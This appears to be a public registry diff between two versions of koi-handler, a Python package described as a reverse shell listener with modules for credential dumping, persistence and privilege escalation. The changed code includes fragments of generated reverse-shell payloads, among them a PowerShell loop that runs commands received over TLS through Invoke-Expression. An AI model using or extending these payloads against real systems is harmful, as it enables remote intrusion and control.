koi-handler 0.12.0__tar.gz → 0.12.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (68) hide show
  1. {koi_handler-0.12.0/src/koi_handler.egg-info → koi_handler-0.12.1}/PKG-INFO +1 -1
  2. {koi_handler-0.12.0 → koi_handler-0.12.1}/pyproject.toml +1 -1
  3. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/listener.py +9 -0
  4. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/tls.py +3 -4
  5. {koi_handler-0.12.0 → koi_handler-0.12.1/src/koi_handler.egg-info}/PKG-INFO +1 -1
  6. {koi_handler-0.12.0 → koi_handler-0.12.1}/LICENSE +0 -0
  7. {koi_handler-0.12.0 → koi_handler-0.12.1}/setup.cfg +0 -0
  8. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/main.py +0 -0
  9. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/mcp/__init__.py +0 -0
  10. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/mcp/schema.py +0 -0
  11. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/mcp/server.py +0 -0
  12. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/blueprint.py +0 -0
  13. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/download.py +0 -0
  14. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/duplicate.py +0 -0
  15. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/get_processes.py +0 -0
  16. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/get_users.py +0 -0
  17. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/ligolo.py +0 -0
  18. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/loader.py +0 -0
  19. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/network_enum.py +0 -0
  20. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/peas.py +0 -0
  21. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/populate_win.py +0 -0
  22. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/secrets_dump.py +0 -0
  23. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/sharphound.py +0 -0
  24. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/ssh_persist.py +0 -0
  25. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/sysinfo.py +0 -0
  26. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/upload.py +0 -0
  27. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/upload64.py +0 -0
  28. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/wifi_enum.py +0 -0
  29. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/modules/winscalate.py +0 -0
  30. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/session.py +0 -0
  31. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/__init__.py +0 -0
  32. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/agent_payload.py +0 -0
  33. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/__init__.py +0 -0
  34. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/__main__.py +0 -0
  35. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/agent.py +0 -0
  36. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/packet.py +0 -0
  37. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/proxy.py +0 -0
  38. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/stack.py +0 -0
  39. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/tcp.py +0 -0
  40. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/transport.py +0 -0
  41. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/engine/tun.py +0 -0
  42. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/tunnel/manager.py +0 -0
  43. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/__init__.py +0 -0
  44. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/bash_obfuscate.py +0 -0
  45. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/cache.py +0 -0
  46. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/cli.py +0 -0
  47. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/config.py +0 -0
  48. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/config_ui.py +0 -0
  49. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/connect/__init__.py +0 -0
  50. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/connect/base.py +0 -0
  51. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/connect/ssh.py +0 -0
  52. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/constants.py +0 -0
  53. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/detect.py +0 -0
  54. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/interact.py +0 -0
  55. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/logger.py +0 -0
  56. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/models.py +0 -0
  57. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/obfuscate_ui.py +0 -0
  58. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/payloads.py +0 -0
  59. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/powerupgrade.py +0 -0
  60. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/ps_obfuscate.py +0 -0
  61. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/tcp.py +0 -0
  62. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/terminal.py +0 -0
  63. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi/utils/ui.py +0 -0
  64. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/SOURCES.txt +0 -0
  65. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  66. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/entry_points.txt +0 -0
  67. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/requires.txt +0 -0
  68. {koi_handler-0.12.0 → koi_handler-0.12.1}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.0
3
+ Version: 0.12.1
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.12.0"
7
+ version = "0.12.1"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
10
  dependencies = [
@@ -776,6 +776,10 @@ class Listener:
776
776
  return
777
777
 
778
778
  if sess.os_type in ("windows_cmd", "windows_ps"):
779
+ if sess.encrypted:
780
+ notify('warning', f"Upgrading a Windows session replaces the connection. TLS encryption will be lost.")
781
+ if not yesno("Proceed anyway?"):
782
+ return
779
783
  upgrade_windows_conptyshell(
780
784
  sess, self._sessions, self.port,
781
785
  self._pending_conpty, self._conpty_staging, self._conpty_lock,
@@ -852,6 +856,11 @@ class Listener:
852
856
  sid = sess.id
853
857
  if sess.encrypted:
854
858
  notify('warning', f"Session {accent(f'#{sid}')} is already encrypted.")
859
+ if not yesno("Do you want to try encrypting again?"):
860
+ return
861
+
862
+ if sess.os_type in ("windows_cmd", "windows_ps") and sess.upgraded:
863
+ notify('error', f"Cannot encrypt an upgraded Windows session (ConPtyShell uses its own connection).")
855
864
  return
856
865
 
857
866
  if self._ssl_ctx is None:
@@ -61,8 +61,6 @@ def try_tls_handshake(
61
61
  return None
62
62
 
63
63
 
64
- # ---------------------------------------------------------------- payloads
65
-
66
64
  def encrypt_payload_linux(host: str, port: int, token: str) -> str:
67
65
  script = (
68
66
  "import ssl,socket,subprocess,os,select,signal,pty\n"
@@ -106,8 +104,9 @@ def encrypt_payload_windows(host: str, port: int, token: str) -> str:
106
104
  f"$r=New-Object IO.StreamReader($ssl);"
107
105
  f"while($c.Connected){{"
108
106
  f"$cmd=$r.ReadLine();"
109
- f"if(!$cmd){{break}}"
110
- f"$out=cmd /c $cmd 2>&1|Out-String;"
107
+ f"if($null -eq $cmd){{break}}"
108
+ f"if($cmd.Length -eq 0){{continue}}"
109
+ f"$out=try{{Invoke-Expression $cmd 2>&1|Out-String}}catch{{$_.Exception.Message}};"
111
110
  f"$w.Write($out)}}"
112
111
  f"$c.Close()"
113
112
  )
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.0
3
+ Version: 0.12.1
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
File without changes
File without changes